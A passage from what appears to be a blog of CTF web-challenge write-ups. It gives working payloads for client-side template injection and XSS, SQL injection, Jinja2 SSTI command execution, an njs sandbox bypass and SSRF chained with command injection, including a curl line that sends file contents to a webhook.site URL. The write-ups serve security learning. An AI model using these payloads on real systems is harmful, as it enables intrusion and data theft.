{"target": "5", "title":"A05:2021-Security Misconfiguration","description":" moves up from #6 in the previous edition; 90% of applications were tested for some form of misconfiguration, with an average incidence rate of 4.5%, and over 208k occurrences of CWEs mapped to this risk category. With more shifts into highly configurable software, it's not surprising to see this category move up. The former category for A4:2017-XML External Entities (XXE) is now part of this risk category."},
{"target": "6", "title":"A06:2021-Vulnerable","description":" and Outdated Components was previously titled Using Components with Known Vulnerabilities and is #2 in the Top 10 community survey, but also had enough data to make the Top 10 via data analysis. This category moves up from #9 in 2017 and is a known issue that we struggle to test and assess risk. It is the only category not to have any Common Vulnerability and Exposures (CVEs) mapped to the included CWEs, so a default exploit and impact weights of 5.0 are factored into their scores."},
{"target": "7", "title":"A07:2021-Identification and Authentication Failures","description":" was previously Broken Authentication and is sliding down from the second position, and now includes CWEs that are more related to identification failures. This category is still an integral part of the Top 10, but the increased availability of standardized frameworks seems to be helping."},
{"target": "8", "title":"A08:2021-Software and Data Integrity Failures","description":" is a new category for 2021, focusing on making assumptions related to software updates, critical data, and CI/CD pipelines without verifying integrity. One of the highest weighted impacts from Common Vulnerability and Exposures/Common Vulnerability Scoring System (CVE/CVSS) data mapped to the 10 CWEs in this category. A8:2017-Insecure Deserialization is now a part of this larger category."},
{"target": "9", "title":"A09:2021-Security Logging and Monitoring Failures","description":" was previously A10:2017-Insufficient Logging & Monitoring and is added from the Top 10 community survey (#3), moving up from #10 previously. This category is expanded to include more types of failures, is challenging to test for, and isn't well represented in the CVE/CVSS data. However, failures in this category can directly impact visibility, incident alerting, and forensics."},
{"target": "10", "title":"A10:2021-Server-Side Request Forgery","description":" is added from the Top 10 community survey (#1). The data shows a relatively low incidence rate with above average testing coverage, along with above-average ratings for Exploit and Impact potential. This category represents the scenario where the security community members are telling us this is important, even though it's not illustrated in the data at this time."},
].filter(e=>{
return (e.title + ' - ' + e.description)
.includes(new URL(location).searchParams.get('s')|| ' ');
}),
"search": new URL(location).searchParams.get('s')
}
})
}
</script>
<script nonce="6937ca6465a9df0b11dd56232ced38">
// 3
var delimiters = ['v-{{', '}}'];
addJS('./vuejs.php', initVUE);
</script>
<script nonce="6937ca6465a9df0b11dd56232ced38">
// 4
if (!window.isProd){
let version = new URL(location).searchParams.get('version') || '';
version = version.slice(0,12);
let vueDevtools = new URL(location).searchParams.get('vueDevtools') || '';
vueDevtools = vueDevtools.replace(/[^0-9%a-z/.]/gi,'').replace(/^\/\/+/,'');
if (version === 999999999999){
setTimeout(window.legacyLogger, 1000);
} else if (version > 1000000000000){
addJS(vueDevtools, window.initVUE);
} else{
console.log(performance)
}
}
</script>
We can disable these two:
<script nonce="6937ca6465a9df0b11dd56232ced38">
// 1
var isProd = true;
</script>
<script nonce="6937ca6465a9df0b11dd56232ced38">
// 3
var delimiters = ['v-{{', '}}'];
addJS('./vuejs.php', initVUE);
</script>
So isProd
will be falsy and window.delimiters
will be undefined
, and then we can use normal {{}}
to do CSTI.
For vueDevtools
, we just simply put vuejs.php
to manually load vue.js.
It's my final payload:
https://challenge-1121.intigriti.io/challenge/index.php?s=
</title>
<meta http-equiv="Content-Security-Policy" content="script-src 'self'
'unsafe-eval' 'strict-dynamic'
'sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2boz%2bCtD7RE4='
'sha256-Tz/iYFTnNe0de6izIdG%2bo6Xitl18uZfQWapSbxHE6Ic=';">
<div id=app>
{{constructor.constructor('alert(document.domain)')()}}
</div>
&version=Infinity
&vueDevtools=vuejs.php
因為一題都沒解出來所以就只好來檢討了,一樣以 web 題為主
source code:
var Calculator = function(result){
this.result = result;
};
Calculator.prototype.addEquation = function(op, x, y){
this.result = this[op](x, y);
return this.result
};
Calculator.prototype.toString = function(prop) {
if(prop) {
return this.result[prop]
}
return this.result;
};
Calculator.prototype.add = function(x, y) {
if(y != null)
return x + y;
return this.result + x;
};
Calculator.prototype.sub = function(x, y) {
if(y != null)
return x - y;
return this.result - x;
};
Calculator.prototype.mul = function(x, y) {
if(y != null)
return x * y;
return this.result * x;
};
Calculator.prototype.div = function(x, y) {
if(y != null)
return x / y;
return this.result / x;
};
function template() {
return "<html>" +
"<head></head><body>" +
"<form id='form' method='post'>" +
"<input name='x' type='text' value='7'>" +
"<select name='op'>" +
"<option value='add'>+</option>" +
"<option value='sub'>-</option>" +
"<option selected value='mul'>*</option>" +
"<option value='div'>/</option>" +
"</select>" +
"<input name='y' type='text' value='7'>" +
"<span>=</span>" +
"<span id='result'>?</span>" +
"<input type='submit' value='Calc'/>" +
"</form>" +
"<!-- <a href='/source'>source</a> -->" +
"<script>function onSubmit(t){t.preventDefault();try{(async()=>{var t={};const e=new FormData(document.querySelector(\"form\"));for(var n of e.entries())t[n[0]]=n[1];try{var r=await fetch(\"/\",{method:\"POST\",headers:{Accept:\"application/json\",\"Content-Type\":\"application/json\"},body:JSON.stringify([{op:t.op,x:parseInt(t.x),y:parseInt(t.y)}])});document.getElementById(\"result\").innerText=await r.text()}catch(t){document.getElementById(\"result\").innerText=t.toString()}})()}catch(t){}return!1}document.getElementById(\"form\").addEventListener(\"submit\",onSubmit);</script>" +
"<!-- <a href='/source'>source</a> -->" +
"</body></html>"
}
// GET /
// POST /
function handlerCalc(r) {
r.headersOut['Content-Type'] = 'text/html';
if (r.method !== "POST") {
r.return(200, template());
return;
}
try {
var data = r.requestBody;
var calc = new Calculator(0);
var calls = JSON.parse(data);
for(var i = 0; i<calls.length; i++) {
var call = calls[i];
calc.addEquation(call.op, call.x, call.y);
}
r.return(200, calc.toString());
} catch (e) {
r.return(500, e.toString());
}
}
// GET /source
function handlerSource(r) {
r.headersOut['Content-Type'] = 'text/plain';
r.return(200, require("fs").readFileSync("/etc/nginx/server.js"));
}
// GET /info
function handlerInfo(r) {
r.headersOut['Content-Type'] = 'text/plain';
r.return(200, njs.dump(global));
}
/*
Hint1: We are using docker image `nginx:1.19.5-alpine`
Hint2: Flag is in `/home/` directory
*/
export default {handlerCalc, handlerSource, handlerInfo};
這一題當初看滿久的,看一看發現那個 toString 很可疑,想一想就發現可以傳多個 ops 進去,就可以讓 thtis.result
是 function constructor 然後執行:
[
{
"op": "toString",
"x": "constructor" // this.result = (0).constructor => function Number
},
{
"op": "toString",
"x": "constructor" // this.result = Number.constructor => function constructor
},
{
"op": "result",
"x": "return 123" // this.result = Function("return 123")
},
{
"op": "result",
"x": "run" // this. result = this.result("run")
}
]
但這樣做會噴一個 TypeError: function constructor is disabled in "safe" mode
的 error
直接拿關鍵字餵狗:njs TypeError: function constructor is disabled in "safe" mode
,可以找到這段 diff:https://hg.nginx.org/njs/rev/142b3fec5d4f
一開始沒仔細看,後來仔細看發現有一段在說如果 function body 是 return this
就給過
if (!vm->options.unsafe) {
body = njs_argument(args, nargs - 1);
ret = njs_value_to_string(vm, body, body);
if (njs_slow_path(ret != NJS_OK)) {
return ret;
}
njs_string_get(body, &str);
/*
* Safe mode exception:
* "(new Function('return this'))" is often used to get
* the global object in a portable way.
*/
if (str.length != njs_length("return this")
|| memcmp(str.start, "return this", 11) != 0)
{
njs_type_error(vm, "function constructor is disabled"
" in \"safe\" mode");
return NJS_ERROR;
}
}
可是雖然過了但沒什麼用,然後題目又有給一個列出 global 的 endpoint,底下有個 process,我就一直想說是不是要用 glboal,或是透過 global 拿到 global.eval 來做事,就在想怎麼樣拿到 global 但想不出來
你 function 是 this.result 所以怎麼呼叫 this 都會是 c 而不會是 global QQ
後來看到 discord 上的討論,都怪我沒有把程式碼看完,我找到正確的地方了但沒仔細看:https://github.com/nginx/njs/blob/0.4.4/src/njs_function.c
njs_chb_append_literal(&chain, "(function(");
for (i = 1; i < nargs - 1; i++) {
ret = njs_value_to_chain(vm, &chain, njs_argument(args, i));
if (njs_slow_path(ret < NJS_OK)) {
return ret;
}
if (i != (nargs - 2)) {
njs_chb_append_literal(&chain, ",");
}
}
njs_chb_append_literal(&chain, "){");
ret = njs_value_to_chain(vm, &chain, njs_argument(args, nargs - 1));
if (njs_slow_path(ret < NJS_OK)) {
return ret;
}
njs_chb_append_literal(&chain, "})");
他是用字串拼接的方式把 function 拼起來,簡而言之就是:(function(args){body})
,其中 body 一定要是 return this 才給過,所以就是:(function(args){return this})
,但問題是 args 是可控的!
所以可以這樣搞:(function(){return 123})//){return this})
,其中的參數部分就是:){return 123})//
透過這樣的方式就可以執行任意 js 了:
先用 require('fs').readdirSync('/home')
讀出檔案名稱,最後 payload:
[
{
"op": "toString",
"x": "constructor"
},
{
"op": "toString",
"x": "constructor"
},
{
"op": "result",
"x": "){return require('fs').readFileSync('/home/RealFlagIsHere1337.txt').toString()})//",
"y": "return this"
}, {
"op": "result"
}
]
這題滿有趣的,應該是這次我最有機會過的一題但沒把握住
我連題目都看不太懂...我有嘗試去找 justctf.team 有哪些 subdomain 但找錯方向了
應該要找 jctf.pro 才對
筆記幾個好用服務
https://crt.sh/?q=jctf.pro
https://transparencyreport.google.com/https/certificates?cert_search_auth=&cert_search_cert=&cert_search=include_subdomains:true;domain:web.jctf.pro&lu=cert_search_cert
<?php
require_once("secrets.php");
$nonce = random_bytes(8);
if(isset($_GET['flag'])){
if(isAdmin()){
header('X-Content-Type-Options: nosniff');
header('X-Frame-Options: DENY');
header('Content-type: text/html; charset=UTF-8');
echo $flag;
die();
}
else{
echo "You are not an admin!";
die();
}
}
for($i=0; $i<10; $i++){
if(isset($_GET['alg'])){
$_nonce = hash($_GET['alg'], $nonce);
if($_nonce){
$nonce = $_nonce;
continue;
}
}
$nonce = md5($nonce);
}
if(isset($_GET['user']) && strlen($_GET['user']) <= 23) {
header("content-security-policy: default-src 'none'; style-src 'nonce-$nonce'; script-src 'nonce-$nonce'");
echo <<<EOT
<script nonce='$nonce'>
setInterval(
()=>user.style.color=Math.random()<0.3?'red':'black'
,100);
</script>
<center><h1> Hello <span id='user'>{$_GET['user']}</span>!!</h1>
<p>Click <a href="?flag">here</a> to get a flag!</p>
EOT;
}else{
show_source(__FILE__);
}
// Found a bug? We want to hear from you! /bugbounty.php
// Check /Dockerfile
https://hackmd.io/@terjanq/justCTF2020-writeups
最後的解法是這樣:
<script>
name="fetch('?flag').then(e=>e.text()).then(alert)"
location = 'https://baby-csp.web.jctf.pro/?user=%3Csvg%20onload=eval(name)%3E&alg='+'a'.repeat('292');
</script>
原來可以這樣運用 name 的嗎?這樣的話看起來是共用同一個 window?先讓 name = payload,再用 eval(name) 來逃避字數限制,看來該找時間研究一下 top window,我都不知道還可以這樣,讓跳轉後的網頁用到前面網頁的 name
CSP header 利用 PHP 特性蓋掉
這題我方向有對但不知道怎麼實作XD
有想到利用 REDOS 搭配 timing attack 應該可以把 flag 弄出來但不知道怎麼實作
https://hackmd.io/@terjanq/justCTF2020-writeups
看了 writeup 沒有很懂,之後有機會再找時間實作看看
一個 login page,帳號密碼嘗試 sql injection 發現沒有用
基本上 html source 找不到任何線索,靈機一動試試看:http://207.180.200.166:9000/robots.txt
發現中了,內容給了一個 http://207.180.200.166:9000/sup3r_secr37_@p1
進去之後發現是 grahpql viewer,怎麼這麼愛 graphql XD
利用之前的招數({__schema{types{name,fields{name}}}}
)慢慢試,可以組出完整 query
{
allTraders {
edges {
node {
id,
uuid,
username,
coins {
edges {
node {
uuid,
id,
title,
body,
password,
authorId,
ownedCoins
}
}
}
}
}
}
}
拿到的資料是:
{
"data": {
"allTraders": {
"edges": [
{
"node": {
"id": "VHJhZGVyT2JqZWN0OjE=",
"uuid": "1",
"username": "pop_eax",
"coins": {
"edges": [
{
"node": {
"uuid": "1",
"id": "Q29pbk9iamVjdDox",
"title": "XFT",
"body": "XFT is the utility token that grants entry into the Offshift ecosystem",
"password": "iigvj3xMVuSI9GzXhJJWNeI",
"authorId": 1
}
}
]
}
}
}
]
}
}
}
然後回到首頁用帳號 pop_eax 密碼 iigvj3xMVuSI9GzXhJJWNeI 登入,發現沒用
這時候我想說 iigvj3xMVuSI9GzXhJJWNeI 是不是某種加密或是 hash 需要先弄成明碼,就這樣找了半小時但毫無所獲
最後真的沒招了,只好把帳號輸入成 XFT 然後密碼 iigvj3xMVuSI9GzXhJJWNeI,發現過了....
當成直接罵了一聲髒話,為什麼帳號不是 username 啊 QQ
半小時就這樣不見了QQ
接著會進入到這樣的頁面:
點進去 trade 之後就會到 http://207.180.200.166:9000/trade?coin=xft
然後裡面基本上也沒功能
因為那個參數看起來很可疑,就嘗試 injection 發現應該是可行的,因為 http://207.180.200.166:9000/trade?coin='
會直接噴一個錯誤
但接下來我在這邊卡了很久,可能有半小到一個小時,因為 union 會噴 500 internal server error,我一度懷疑是不是不能用,就在網路上尋找其他攻擊方式
失敗的 payload:
' union select 1,1 ;--
後來想一想覺得沒道理啊,怎麼會失敗,就靈機一動想說:「該不會用字串就可以吧」,於是試了:
' union select 'a','a' ;--
靠杯勒還真的可以
接下來就是 sqlite injection 了,可以慢慢把每一個 table name 跟 schema 弄出來:
' union SELECT tbl_name, 'a' FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' limit 1 offset 0 --
一拿就拿到一個叫做 admin 的 table,可以把 sql dump 出來:
' union SELECT sql, 'a' FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name ='admin' --
然後 admin 試著把裡面東西拿出來,拿到 admin:p0To3zTQuvFDzjhO9
接著清 cookie 回首頁嘗試,發現毫無反應,這邊我又卡了 30 分鐘,我想說是不是 flag 藏其他地方,就把所有 table 都 dump 出來了:
CREATE TABLE admin(username TEXT NOT NULL, password TEXT NOT NULL)
CREATE TABLE traders (
uuid INTEGER NOT NULL,
username VARCHAR(256),
PRIMARY KEY (uuid)
)</p>
CREATE TABLE coins (
uuid INTEGER NOT NULL,
title VARCHAR(256),
body TEXT,
password TEXT,
author_id INTEGER,
PRIMARY KEY (uuid),
FOREIGN KEY(author_id) REFERENCES traders (uuid)
)</p>
CREATE TABLE coin_data (coin_name text primary key, coin_desc text NOT NULL)
' union SELECT 'a', username || ' ' || password FROM admin limit 1 offset 0 --
' union SELECT 'a', coin_name || ' ' || coin_desc FROM coin_data limit 1 offset 0 --
後來發現沒有其他可疑的東西,一度試到想放棄,最後想說再回登入後的首頁看一下好了,這時我是把 devtool 關起來的,於是我看到了...
靠杯,RWD 沒做好吧QQ
因為開了 devtool 所以右上角那個 admin 我之前沒看到
30 分鐘不見了 QQ
點下去之後到新的登入頁面,輸入上面 admin 帳密過關,到了最後一關:
開 devtool 發現會設一個 cookie 叫做 name,然後會反射在 html source code 當中,第一直覺想到的就是 SSTI,試了 {{1+1}}
,最後 html 輸出 2,中了!
透過 {{7*'7'}}
輸出 7777777,可以知道是 Jinja2
接下來就是 python 苦手如我的一波亂試,找到了:Templates Injections 還有 [Day14] - SSTI(Server-side template injection)(2)
試過了:
{{config.items()}}
{{ [].class.base.subclasses() }}
{{"".__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__['os'].system('whoami')}}
{{ get_flashed_messages.__globals__.__builtins__.open("/etc/passwd").read() }}
最後一個是有用的,但看起來只讀檔案是沒用的,應該要 RCE 才行。但 python 我幾乎完全不會,只好隨意亂找有沒有可用的 payload。
最後是找到這篇:利用 Python 特性在 Jinja2 模板中执行任意代码,看到裡面的:
{{ os.popen('echo Hello RCE').read() }}
才結合剛剛試出來的,變成這樣:
name={{ get_flashed_messages.__globals__['os'].system('ls /') }};
接著就是開始找 flag,最後的 payload:
name={{ get_flashed_messages.__globals__['os'].popen('cat flag.txt').read() }};
Protection of the admin section needs to be more robust...
There is an api to fetch other url: http://192.46.237.106:3000/api/getUrl?url=http://example.com
, I tried with some random ip and this one result in error: http://192.46.237.106:3000/api/getUrl?url=http://127.0.0.1
{
"status": "error",
"content": {
"message": "Request failed with status code 503",
"name": "Error",
"config": {
"url": "http:/127.0.0.1",
"method": "get",
"headers": {
"Accept": "application/json, text/plain, */*",
"User-Agent": "axios/0.21.0",
"host": "null"
},
"proxy": {
"host": "proxy.corp.local",
"port": 3128
},
"transformRequest": [
null
],
"transformResponse": [
null
],
"timeout": 0,
"xsrfCookieName": "XSRF-TOKEN",
"xsrfHeaderName": "X-XSRF-TOKEN",
"maxContentLength": -1,
"maxBodyLength": -1
}
}
}
Then I tried to send request to proxy.corp.local
but found nothing, stuck here for a while. A few moments later, I noticed the package name and the version in the response so I tired to google axios 0.21.0 vuln
.
Look what I found: Requests that follow a redirect are not passing via the proxy #3369
There is a SSRF vuln in this version so I created a simple proxy server:
const http = require('http')
http.createServer(function (req, res) {
res.writeHead(302, {location: 'http://127.0.0.1'})
res.end()
}).listen(5566)
I tried few ip and domain but found nothing, stuck again. Later on, I went back and checked the chall description again: Protection of the admin section needs to be more robust...
.
So I tried: http://127.0.0.1/admin
and to my surprise, I got access to admin page:
<html>
<head>
<title>System information</title>
</head>
<body>
<h2>Get OS Information</h2>
<button onclick="retrieveOSInfo();false;">Retrieve</button>
<h2>Get service info</h2>
<input type="text" id="serviceName" value="nginx">
<button onclick="retrieveServiceInfo();false;">Retrieve</button>
<h2>Output</h2>
<textarea id="output"></textarea>
</body>
<script>
function retrieveOSInfo() {
fetch('/api/admin/os_info')
.then(response => {
if (response.status == 200) {
return response.json();
}
throw Error('Server is unavailable');
},
failResponse => {
printOutput('Server is unavailable');
})
.then(result => {
printApiResult(result);
},
errorMsg => {
printOutput(errorMsg);
});
}
function retrieveServiceInfo() {
fetch('/api/admin/service_info?name=' + encodeURIComponent(serviceName.value))
.then(response => {
if (response.status == 200) {
return response.json();
}
throw Error('Server is unavailable');
},
failResponse => {
printOutput('Server is unavailable');
})
.then(result => {
printApiResult(result[0]);
},
errorMsg => {
printOutput(errorMsg);
});
}
function printApiResult(jsonObject) {
result = '';
for (const [key, value] of Object.entries(jsonObject)) {
result += `${key}: ${value}\n`;
}
printOutput(result);
}
function printOutput(content) {
output.value = content;
}
</script>
</html>
There are two hidden api endpoints, I tried both and here is the response for the service one:
{"status":"ok","content":[{"name":"nginx" ,"running":false,"startmode":"","pids":[],"pcpu":0,"pmem":0}]}
I googled the keyword: running":true,"startmode":"","pids"
and realized that it's from a package called systeminformation
Let's do another round of search, systeminformation vulnerability
. I found these two links:
The POC is quite useful, we can do command injection via name[]=$(ls)
But I don't know how to do reverse shell so I use another way, maybe stupid but works: https://stackoverflow.com/questions/15912924/how-to-send-file-contents-as-body-entity-using-curl
curl -d "$(cat ./*)" https://webhook.site/f77fba3b-a14a-4fad-a39e-2f439861882a
const http = require('http')
http.createServer(function (req, res) {
let send = 'curl -d "$(cat ./*)" https://webhook.site'
res.writeHead(302, {location: 'http://127.0.0.1/api/admin/service_info?name[]='+encodeURIComponent("$(" + send + ")")})
res.end()
}).listen(5566)
Got the flag in the end.
"Kantan" means simple or easy in Japanese.
source code:
const express = require('express');
const path = require('path');
const vm = require('vm');
const FLAG = require('./flag');
const app = express();
app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'pug');
app.use(express.static(path.join(__dirname, 'public')));
app.get('/', function (req, res, next) {
let output = '';
const code = req.query.code + '';
if (code && code.length < 30) {
try {
const result = vm.runInNewContext(`'use strict'; (function () { return ${code}; /* ${FLAG} */ })()`, Object.create(null), { timeout: 100 });
output = result + '';
if (output.includes('zer0pts')) {
output = 'Error: please do not exfiltrate the flag';
}
} catch (e) {
output = 'Error: error occurred';
}
} else {
output = 'Error: invalid code';
}
res.render('index', { title: 'Kantan Calc', output });
});
app.get('/source', function (req, res) {
res.sendFile(path.join(__dirname, 'app.js'));
});
module.exports = app;
This one is interesting because the flag is part of comment inside the function.
In JavaScript, you can get function body by casting it to a string:
function a() {}
console.log(a+'')
// "function a() {}"
We need to find out how to do this for the function provided by the challenge.
I think use strict
is the core of this challenge because it's much easier without strict mode. In non-strict mode, arguments.calle
returns it self for IIFE(Immediately Invoked Function Expression).
(function(){ return arguments.callee+''; /* flag */})()
In strict mode it's not working and result in this error:
Uncaught TypeError: 'caller', 'callee', and 'arguments' properties may not be accessed on strict mode functions or the arguments objects for calls to them
I took some times to think about if there is another way to access an anonymous function without arguments.callee, finally I realized it's a dead end.
What if we change our direction? If we can access process
, we can require('./flag')
ourself to get the flag, without dumping the function body.
By googling vm nodejs escape
or vm nodejs bypass
I read some articles, but it seems none of them works, it's a dead end as well.
A few minutes later, I started to notice what makes it a dead end: function name. Because we can't get the function body without function name in strict mode.
We need to think outside the box, we can actually named the function. Or more specifically, create the named function ourself by close the current one and start a new one.
// original
use strict';
(function () { return ${code}; /* ${FLAG} */ })()
// we can close the current one and start a new one
var code = `});(function a(){return a+''`
// become
use strict';
(function () { return });(function a(){return a+''; /* ${FLAG} */ })()
Cool, it works! It returns the whole function body including flag.
But it's 28 in length already, we can't bypass if (output.includes('zer0pts')){}
because adding replace
exceeds the limitation.
We need to shorten our exploit code, it seems the arrow function can help.
var code = `});(this.a=()=>{return a+''`
use strict';
(function () { return });(this.a=()=>{return a+''; /* ${FLAG} */ })()
The length is 27, we are trying so hard to cut one character 😂.
Noticed that I use this.a=()=>
here because (var a=()=>)()
will raise an error: Uncaught SyntaxError: Unexpected token 'var'
, there is no such syntax. So I assign the arrow function to existing object to make it work.
When I reached here I feel I was so close, it's almost there. We don't need replace
because it's too long. All we need is [0]
, we can extract the flag one by one to bypass the check.
But });(this.a=()=>{return (a+'')[0]
is 32 in length, so sad. How to reduce more characters?
Let's start with the long one: return
. Arrow function needs no return if it returns value directly.
var code = `});(this.a=()=>(a+'')[0]`
use strict';
(function () { return });(this.a=()=>(a+'')[0]; /* ${FLAG} */ })()
We are getting closer, although it doesn't work because of the annoying ;
and }
, the length is 24.
After 10~15 minutes, I figure out how to bypass it. Use /*
to comment out ;
and use +{
to make it an empty object!
var code = `});(this.a=()=>(a+'')[0]+{/*`
use strict';
(function () { return });(this.a=()=>(a+'')[0]+{/*; /* ${FLAG} */ })()
// output: ([object Object]
The length is 28, so replace [0]
with [10]
is 29, just fit the limitation perfectly!
Right now we can exfiltrate the function body by characters, I wrote a simple script to help us see what is the full flag.
var axios = require('axios')
// flag start from index 23
var pat = `});(this.a=()=>(a+'')[23]+{/*`
var ans = ''
async function run() {
var len = 23;
// 100 is a random guess, I guess 70 at first and it's too short lol
while(len < 100) {
payload = pat.replace(23, len);
var result = await axios('http://web.ctf.zer0pts.com:8002/?code=' + encodeURIComponent(payload))
var f = result.data.split('<output>')[1]
console.log(f)
ans+=f[0]
console.log(ans)
len++
}
console.log(ans)
}
run()
Finally, awesome challenge!
challenge link: Intigriti's 0421 XSS challenge - by @terjanq
The full writeup is a little bit long because I want to write what I have tried and how I found the solution in details. If you are not interested in reading, you can just check the tl;dr section below and the source code at the end of the article.
TL;DR
location.hash
location.hash
with identifier to leak it one byte after anotherThere is no working POC online because it requires a server to run and I have no plan to host it. Below is the video recording, you can check it first:
If you really want to see and reproduce it, I provide the source code at the end, you can run a server and check it yourself. But the server is a little buggy, you may need to manually restart the server if it's broken.
There are two pages for this XSS challenge, index and waf.html, below is the JS part of index page:
const wafIframe = document.getElementById('wafIframe').contentWindow;
const identifier = getIdentifier();
function getIdentifier() {
const buf = new Uint32Array(2);
crypto.getRandomValues(buf);
return buf[0].toString(36) + buf[1].toString(36)
}
function htmlError(str, safe){
const div = document.getElementById("error-content");
const container = document.getElementById("error-container");
container.style.display = "block";
if(safe) div.innerHTML = str;
else div.innerText = str;
window.setTimeout(function(){
div.innerHTML = "";
container.style.display = "none";
}, 10000);
}
function addError(str){
wafIframe.postMessage({
identifier,
str
}, '*');
}
window.addEventListener('message', e => {
if(e.data.type === 'waf'){
if(identifier !== e.data.identifier) throw /nice try/
htmlError(e.data.str, e.data.safe)
}
});
window.onload = () => {
const error = (new URL(location)).searchParams.get('error');
if(error !== null) addError(error);
}
This file is simple, it sends error
query string to waf.html
via window.postMessage
, and append the returned value into DOM.
The key here is, we need to let e.data.safe
be true, otherwise we can only insert pure string.
Let's take a look at waf.html
:
onmessage = e => {
const identifier = e.data.identifier;
e.source.postMessage({
type:'waf',
identifier,
str: e.data.str,
safe: (new WAF()).isSafe(e.data.str)
},'*');
}
function WAF() {
const forbidden_words = ['<style', '<iframe', '<embed', '<form', '<input', '<button', '<svg', '<script', '<math', '<base', '<link', 'javascript:', 'data:'];
const dangerous_operators = ['"', "'", '`', '(', ')', '{', '}', '[', ']', '=']
function decodeHTMLEntities(str) {
var ta = document.createElement('textarea');
ta.innerHTML = str;
return ta.value;
}
function onlyASCII(str){
return str.replace(/[^\x21-\x7e]/g,'');
}
function firstTag(str){
return str.search(/<[a-z]+/i)
}
function firstOnHandler(str){
return str.search(/on[a-z]{3,}/i)
}
function firstEqual(str){
return str.search(/=/);
}
function hasDangerousOperators(str){
return dangerous_operators.some(op=>str.includes(op));
}
function hasForbiddenWord(str){
return forbidden_words.some(word=>str.search(new RegExp(word, 'gi'))!==-1);
}
this.isSafe = function(str) {
let decoded = onlyASCII(decodeHTMLEntities(str));
const first_tag = firstTag(decoded);
if(first_tag === -1) return true;
decoded = decoded.slice(first_tag);
if(hasForbiddenWord(decoded)) return false;
const first_on_handler = firstOnHandler(decoded);
if(first_on_handler === -1) return true;
decoded = decoded.slice(first_on_handler)
const first_equal = firstEqual(decoded);
if(first_equal === -1) return true;
decoded = decoded.slice(first_equal+1);
if(hasDangerousOperators(decoded)) return false;
return true;
}
}
When the page received the message, it checks if there are any forbidden or dangerous words. The rules are quite strict and just leave a tiny room for XSS.
I found that we can use <img src=x onerror=xxx>
to bypass the tag check to run JavaScript.
But this is just the beginning, we can't use string in JS because '
, "
, and ` are all blocked.
Moreover, []{}()
and =
are also blocked, so we can't call any function and do the assignment.
The restriction here is crazy, I don't know how to do for a couple of hours. In the end I can only come up with: <img src=x onerror=throw/0/+identifier>
to throw identifier as error message, but there is no way to read this message cross origin.
At first, I tried to perform XSS directly via error
query string, but after a while I started to think if it's really possible.
I googled xss without parentheses
and found this: XSS Without parentheses, but it's not so useful because of the WAF restriction.
One day, I saw the hint:
"Behind a Greater Oracle there stands one great Identity" (leak it)
Oh, maybe I was in the wrong way. I knew that there are actually two possible ways to perform XSS, the one is via error
directly and another one is via postMessage
.
We can't embed index page in iframe because of the x-frame-options
header, but we can use window.open
to open it and have the access on it.
Then, we can postMessage to the window and pass anything we want with safe: true
:
xssWin.postMessage({
type: 'waf',
identifier: '????',
str: '<img src=xxx onerror=alert("flag{THIS_IS_THE_FLAG}")>',
safe: true
}, '*')
By doing so, we can also perform XSS. I thought this way is impossible because we don't know what is the identifier.
After I saw the hint, I knew it should be possible, and it's the right way to solve this challenge.
I think the attack flow will be something like this:
But there are two problems we need to solve
I came up with something like this: <img src=x onerror=identifier<'a'?leak_it:try_another_char>
We can't use if else
but we can use ternary
, we can't use ===
to check but we can use <
instead.
But how about string? We can't use string, so '0'
is illegal. It's easy, we can leverage DOM id access and innerText or other properties:
<div id=a>a</div>
<img src=x onerror=identifier<a.innerText?leak_it:try_another_char>
for try_another_char
, we can use another ternary:
<div id=a>a</div>
<img src=x onerror=
identifier<a.innerText?leak_a:
identifier<b.innerText?leak_b:keep_trying>
It's like flatten the for loop and replace the for loop with ternary.
It looks nice and we know what is the first character of identifier. But what about the second character?identifier[1]
is not allow. What can I do to get the second character of identifier?
I was stuck here for a very, very long time, and I came up with an idea: what if I can make it a number?
If identifier were a number, it's much easier to leak it byte by byte:
var identifier = 123
identifier&1?console.log(1):
console.log(0);
identifier&2?console.log(1):
console.log(0);
identifier&4?console.log(1):
console.log(0);
identifier&8?console.log(1):
console.log(0);
// ...
To transform a string to number, besides function call like Number()
or parseInt()
, we can use +str
. There are alphabets in identifier, so we can make it a hex number by prepending '0x': '0x'+identifier
var identifier = 'a4' // 164
// 10100100
'0x'+identifier&1?console.log(1):
console.log(0);
'0x'+identifier&2?console.log(1):
console.log(0);
'0x'+identifier&4?console.log(1):
console.log(0);
'0x'+identifier&8?console.log(1):
console.log(0);
But the problem is, it's not guarantee that identifier can be cast to number.
var count = 0
for(let i=0; i<100000;i++) {
var id = getIdentifier()
if (!Number.isNaN(Number('0x' + id))) {
count++
}
}
// 7, 0.007
console.log(count, (count * 100) / 100000)
It's about 0.01% chance, which we can transform the identifier from string to number.
At least I have 0.01% chance, better than 0.
After keep fighting and thinking how to get substring without []
and ()
, I thought that's all I can do and it's too hard for me to solve it.
But, even I can't solve this harder version, I still want to have a solution on this simpler one. So let's assume identifier can be cast to number and keep moving forward.
We can't use variable, we can't call any function, even we know what is the identifier, how to pass this information to my own website?
I tried to see if there is anything writable on window.opener
properties, but unfortunately none.
I can't even do the assignment, how to send data at the correct moment?
Again, thanks for the hint, at first I don't know what is it, but now I know:
Here's an extra tip: ++ is also an assignment
I have an idea about how to leak the data by leveraging lazy loading feature. We can let image lazy loaded and make it invisible first:
<div style=height:9999px></div>
<img src=x00 loading=lazy id=x00>
<img src=x01 loading=lazy id=x01>
<img src=x10 loading=lazy id=x10>
<img src=x11 loading=lazy id=x11>
For example, x00
means the last bit of identifier is 0, x11
means the length-1 bit is 1. When certain condition matched, we do x00.loading++
, so x00.loading
become NaN
. After the loading attribute became NaN
, it's not lazy anymore and the browser will try to load the image.
<body>
<div style=height:9999px id=a>0x</div>
<img src=https://example.com/x00 id=x00 loading=lazy>
<img src=https://example.com/x01 id=x01 loading=lazy>
<img src=https://example.com/x10 id=x10 loading=lazy>
<img src=https://example.com/x11 id=x11 loading=lazy>
<img src=https://example.com/x20 id=x20 loading=lazy>
<img src=https://example.com/x21 id=x21 loading=lazy>
<img src=x onerror=a.innerText+identifier&1?x01.loading++:x00.loading++;a.innerText+identifier&2?x11.loading++:x10.loading++;a.innerText+identifier&4?x21.loading++:x20.loading++ >
</body>
<script>
var identifier = 'a4' // 164
// 10100100
</script>
By knowing which request has been sent to server, we know what is the identifier and we can send it via websocket or long polling from server to poc.html to perform XSS.
